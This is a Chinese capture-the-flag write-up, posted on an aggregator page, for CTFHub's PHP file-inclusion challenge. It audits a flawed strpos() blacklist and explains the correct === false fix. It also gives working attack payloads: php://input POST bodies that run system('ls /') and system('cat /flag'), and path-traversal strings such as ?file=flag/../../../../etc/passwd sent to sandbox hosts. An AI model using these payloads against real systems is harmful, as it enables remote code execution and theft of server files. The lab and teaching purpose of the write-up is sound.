当前位置: 首页 > news >正文

CTFHub RCE通关笔记5:文件包含 远程包含

目录

一、文件包含

二、渗透准备

1、访问靶场

2、查看phpinfo信息

3、源码分析

(1)代码审计

(2)分析strpos逻辑

(3)分析include逻辑

三、php://infput法渗透

1、原理分析

(1)检查对象:$_GET["file"] 这个字符串本身。

(2)执行对象:include 语句处理 php://input 协议时的真实行为。

2、渗透实战

(1)查看根目录下文件

(2)查看flag文件

四、strpos黑名单绕过法渗透

1、原理分析

2、渗透实战

(1)访问/etc/passwd

(2)访问/flag

第1步:安全检查 - if (!strpos($_GET["file"], "flag"))

第2步:文件包含 - include $_GET["file"];


本文讲解CTFHub的RCE-文件包含-远程包含关卡的原理和渗透实战的全过程,系统分析了CTFHub中RCE-文件包含的利用方法。通过审计靶场PHP源码,发现开发者错误使用strpos()函数导致安全防护失效,允许包含flag开头的文件。文章介绍了两种攻击方法:1)利用php://input协议执行POST请求中的PHP代码;2)通过构造以flag开头的路径(如flag/../../../flag)绕过黑名单检查。实战演示了如何查看系统目录和读取flag文件内容。文章还指出正确的防护方法应使用strpos()===false进行严格比较。

一、文件包含

文件包含安全风险源于应用程序在包含文件(如配置文件、模板页)时,未经严格校验就使用了用户可控的输入作为文件名。攻击者可以利用它读取敏感文件或执行任意代码。在PHP中,includerequireinclude_oncerequire_once 这些语句的设计初衷是为了代码复用。但当开发者动态包含文件时,如果直接将用户输入的参数(如 $_GET['file'])拼接到文件路径中,就创造了被攻击的条件。

  • 本地文件包含(Local File Inclusion, LFI)是指攻击者只能包含目标服务器本身上的文件。
  • 远程文件包含(Remote File Inclusion, RFI)是LFI的“升级版”,指攻击者可以包含远程服务器上的文件。这需要PHP配置中 allow_url_include 选项设置为 On(通常默认是 Off)。

本地保护与远程包含的区别可以用如下比喻:

  • 文件包含风险:你家有个洞(未经严格校验就使用了用户可控的输入作为文件名)。

  • 本地文件包含(LFI):小偷通过这个洞,只能偷到你家里的东西(服务器上的文件)。

  • 远程文件包含(RFI):这个洞变成了一个传送门(allow_url_include=On),小偷可以通过它把外面世界的武器(远程服务器上的恶意代码)传送到你家里并直接使用

二、渗透准备

1、访问靶场

开启burpsuite,firefox浏览器开启代理指向burpsuite。在浏览器中地址栏输入靶场的URL地址。

http://challenge-2ff3da7a28efd219.sandbox.ctfhub.com:10800/

访问URL进入到靶场首页,如下所示这是一个显示靶场源码的页面。这段PHP 代码的核心逻辑是通过 GET 参数file接收文件名并进行包含,但禁止包含包含 "flag" 字符串的文件。如果未传递file参数,则则展示当前文件的源代码,同时提供了 phpinfo.php 的链接。

2、查看phpinfo信息

点击phpinfo,跳转到/phpinfo.php页面,完整的URL地址如下所示。

http://challenge-2ff3da7a28efd219.sandbox.ctfhub.com:10800/

在phpinfo页面搜索“allow_url”关键字,如下所示发现allow_url_fopen和allow_url_include都是on的状态,说明存在文件包含的安全风险。靶机服务器开启了allow_url_include=On,意味着靶机具有远程包含的安全风险。

3、源码分析

(1)代码审计

分析源码,其核心防护是阻止包含含有 "flag" 字符串的文件,对代码进行详细注释,如下所示。

<?php
// 关闭所有错误报告,隐藏可能泄露信息的错误提示
error_reporting(0);// 检查是否通过GET请求传递了名为'file'的参数
if (isset($_GET['file'])) {// 检查'file'参数值中是否不包含"flag"字符串// strpos返回字符串首次出现的位置,若不包含则返回falseif (!strpos($_GET["file"], "flag")) {// 如果不包含"flag",则包含该文件include $_GET["file"];} else {// 如果包含"flag",则输出"Hacker!!!"提示echo "Hacker!!!";}
} else {// 如果没有传递'file'参数,显示当前文件的源代码highlight_file(__FILE__);
}
?>
<hr>
<!-- 页面显示的提示信息 -->
i don't have shell, how to get flag?<br>
<!-- 提供phpinfo.php的链接,可能用于获取服务器配置信息 -->
<a href="phpinfo.php">phpinfo</a>

(2)分析strpos逻辑

  • 功能strpos($haystack, $needle) 用于查找字符串 $needle 在另一个字符串 $haystack 中首次出现的位置

  • 返回值

    • 如果找到,返回的是第一次出现的索引位置(从0开始计算)

    • 如果没找到,返回 false

  • 举例:让我们看几个例子,假设 $_GET["file"] 是以下值:

    $_GET["file"] 的值strpos(..., "flag") 的返回值含义
    "example.txt"false字符串中没有 "flag"
    "flag"0"flag" 在字符串的开头(位置0)
    "/path/to/myflag.txt"10"flag" 在字符串的位置10
    "/path/to/the_flague"13"flag" 在字符串的位置13(找到flag
    "flagger"0"flag" 在字符串的开头(位置0)

(3)分析include逻辑

if 条件语句会对括号内的表达式进行真假判断。在PHP中,不同类型的值在逻辑判断中会被转换为布尔值(true 或 false),这个过程称为“弱类型比较”。

if (!strpos($_GET["file"], "flag")) {// 如果不包含"flag",则包含该文件include $_GET["file"];} 
  • false 转换为布尔值是 false

  • 整数 0 转换为布尔值是 false

  • 任何非零整数(如 110999)转换为布尔值是 true

现在,我们应用 ! (逻辑非) 操作符,并填入上面的例子,会发现当GET传入的字符串如果以flag开头,也会执行文件包含,具体如下表所示(flag和flagger都会执行include)。:

$_GET["file"] 的值strpos(...) 返回值在 if 中的布尔值! (逻辑非) 后的结果include 是否执行?
"example.txt"falsefalsetrue
"flag"0falsetrue
"/path/to/myflag.txt"10truefalse
"/path/to/the_flague"13truefalse
"flagger"0falsetrue

这行代码 if (!strpos($_GET["file"], "flag")) 是一个反面教材,它告诉我们:

  • 永远不要混淆“返回值”和“布尔成功值”strpos() 返回 0 是一种成功的找到,而不是失败。

  • 使用严格比较:修复的正确方法是使用全等运算符 === 来明确检查返回值是否为 false

// 正确的、安全的检查方式:只有完全找不到"flag"时才为true
if (strpos($_GET["file"], "flag") === false) {include $_GET["file"];
} else {echo "Hacker!!!";
}

三、php://infput法渗透

php://input 可以访问请求的原始数据的只读流,当使用 POST 方式提交数据 ,php://input 就可以获取到 POST 提交的内容。通过构造一个 POST 请求,将恶意 PHP 代码作为请求体发送。

1、原理分析

php://input 能够绕过的根本原因在于:代码的检查对象和执行对象是不同的东西。为分析为何可以绕过,首先回顾关键代码,具体如下所示。

if (!strpos($_GET["file"], "flag")) {include $_GET["file"];
} else {echo "Hacker!!!";
}

(1)检查对象$_GET["file"] 这个字符串本身

  • 代码只检查参数字符串里是否包含子串 "flag"

  • php://input 这个字符串中不包含 flag 这个词。strpos("php://input", "flag") 会返回 false

  • 因此,if (!false) 条件为 true,安全检查被绕过,代码执行 include "php://input";

(2)执行对象include 语句处理 php://input 协议时的真实行为

  • include 遇到 php://input 这个流包装器(Stream Wrapper) 时,并不会去包含一个叫做 php://input 的文件。

  • 它的行为是:读取当前HTTP请求体中(Request Body)的原始数据,并将这些数据当作PHP代码来执行

  • 攻击者可以将真正的恶意Payload(例如 <?php system("cat /flag");?>)放在POST请求的Body里,而不是GET参数 file 里。

2、渗透实战

(1)查看根目录下文件

首先发送 <?php system('ls /');?> ,服务器执行 eval() 函数时就会执行攻击者发送的系统命令,列出服务器根目录下的文件和目录信息,具体如下所示。

分析如上运行结果,一共列出如下目录和文件信息,包含flag文件(如上图红框所示)。

bin
boot
dev
etc
flag
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var

(2)查看flag文件

首先发送 <?php system('cat /flag');?> ,服务器执行 eval() 函数时就会执行攻击者发送的系统命令,查看flag文件内容,如下所示渗透成功。

查看burpsuite中的报文,如下所示。

    四、strpos黑名单绕过法渗透

    1、原理分析

    开发者想实现一个黑名单:“如果参数里包含 flag 这个词,就拒绝请求;否则,就包含它”。他期望的逻辑是:if (找不到"flag") { 执行包含; }

    实际的安全风险点:由于对 strpos() 返回值和类型转换的理解错误,代码实现的逻辑变成了:
    “如果找不到‘flag’,或者‘flag’就在字符串的开头,就执行包含。”

    这造成了两个严重的后果:

    • 黑名单被绕过:攻击者可以直接请求包含名为 flag 的文件。

      • 攻击Payload: ?file=flag

      • 分析: strpos("flag", "flag") 返回 0 -> if(!0) 即 if(true) -> include "flag" 成功执行。开发者本想阻止这个操作,但由于逻辑处理考虑不周,反而允许了。

    • 过滤不彻底:攻击者可以使用路径遍历和其他方式,只要确保 flag 这个词出现在路径的开头部分,就能绕过过滤。

      • 攻击Payload: ?file=flag/../../../../etc/passwd (假设目录存在)

      • 分析: strpos("flag/../../../../etc/passwd", "flag") 返回 0 -> if(!0) 即 if(true) -> 包含操作成功。攻击者通过这种手法可以访问系统上的任何文件,只要路径中以 flag 开头即可。

    2、渗透实战

    (1)访问/etc/passwd

    攻击Payload: ?file=flag/../../../../etc/passwd

    http://challenge-eb543f10e73658b3.sandbox.ctfhub.com:10800/?file=flag/../../../../etc/passwd

    (2)访问/flag

    攻击Payload: ?file=flag/../../../../flag

    http://challenge-eb543f10e73658b3.sandbox.ctfhub.com:10800/?file=flag/../../../../flag

    如下所示,成功获取到flag,值为ctfhub{95d3327e45912c18aac5f701}。

    逐步分析执行过程,具体如下所示。

    第1步:安全检查 - if (!strpos($_GET["file"], "flag"))
    • 代码执行:strpos("flag/../../../../flag", "flag")

    • 返回值0。因为子字符串 "flag" 在输入的字符串中最开始的位置(索引0)就出现了。

    • 逻辑判断:if (!0)

      • 在PHP中,整数 0 在弱类型比较中等价于布尔值 false

      • !false 的结果是 true

    • 结果:安全检查通过!因为开发者的本意是“如果找不到flag这个词才允许包含”,但逻辑错误导致“如果在开头找到flag也允许包含”。

    第2步:文件包含 - include $_GET["file"];
    • 现在,代码要执行:include "flag/../../../../flag";

    • PHP的 include 路径解析规则

      • include 会将这个路径字符串作为一个整体进行解析。

      • 它会遵循操作系统的路径解析规则,处理其中的特殊符号:

        • ../ 表示上一级目录

        • ./ 表示当前目录

      • 解析过程是从左到右进行的。

    • 分析路径解析过程(假设当前脚本所在目录为 /var/www/html/):

      • 起始点:/var/www/html/ (这是执行脚本的当前目录)

      • 拼接 flag//var/www/html/flag/ (尝试进入一个名为 flag 的子目录)

      • 遇到第一个 ../:回溯到上一级目录 -> /var/www/html/

      • 遇到第二个 ../:继续回溯 -> /var/www/

      • 遇到第三个 ../:继续回溯 -> /var/

      • 遇到第四个 ../:继续回溯 -> / (根目录!)

      • 最后拼接上 flag/flag

    • 最终,include "flag/../../../../flag"; 执行效果为包含根目录下的文件:/flag

    http://www.dtcms.com/a/414906.html

    相关文章:

  • Redis-实战(短信登录)
  • 网站怎样制作流程网页打不开但是有网什么原因禁用
  • 彩票做的最好是个网站好泸州工投建设集团有限公司网站
  • Zabbix监控IRIS数据库
  • 网站建设广告宣传素材wordpress知名站点
  • 跨境网站入口水安建设集团网站
  • 多元组优先队列
  • 同一个域名两个网站wordpress内页锚文本
  • 建设银行官方网站首页企业淘宝客网站免费模板下载
  • 《告别 “会用不会讲”:C++ string 底层原理拆解 + 手撕实现,面试 / 开发都适用》
  • 手机怎样设计网站建设无锡连夜发布最新通告
  • 18互联网站做网站程序黑马大数据培训
  • Redis面试问题集
  • Qt常用控件之QLineEdit
  • 在docker里面安装nextcloud
  • 3.6、操作系统
  • 2025最新centos7安装mysql8 相关 服务器配置 纯命令行操作 保姆级教程
  • Hadess入门到实战(4) - 如何管理Docker制品
  • Python 数学公式构建海洋不明生物(好像是水母)动画 - 傅里叶合成模拟复杂波形
  • 泰州建设企业网站福州企业免费建站
  • 美妆网站模板html5网站开发语言
  • 深度剖析OpenHarmony AI Engine:开发板端侧大模型推理插件机制全链路拆解
  • 链表的核心思想
  • Matlab通过GUI实现点云的坡度滤波(附最简版)
  • GESP8级——AT_icpc2013spring_e 最小生成树题解
  • Qt窗口与对话框开发指南
  • 湖北平台网站建设哪家好有经验的邵阳网站建设
  • 33.Linux iCSCI 服务
  • 国内优秀网页设计网站网站建设流程共有几个阶段
  • 基于物联网的个人健康管理系统(论文+源码)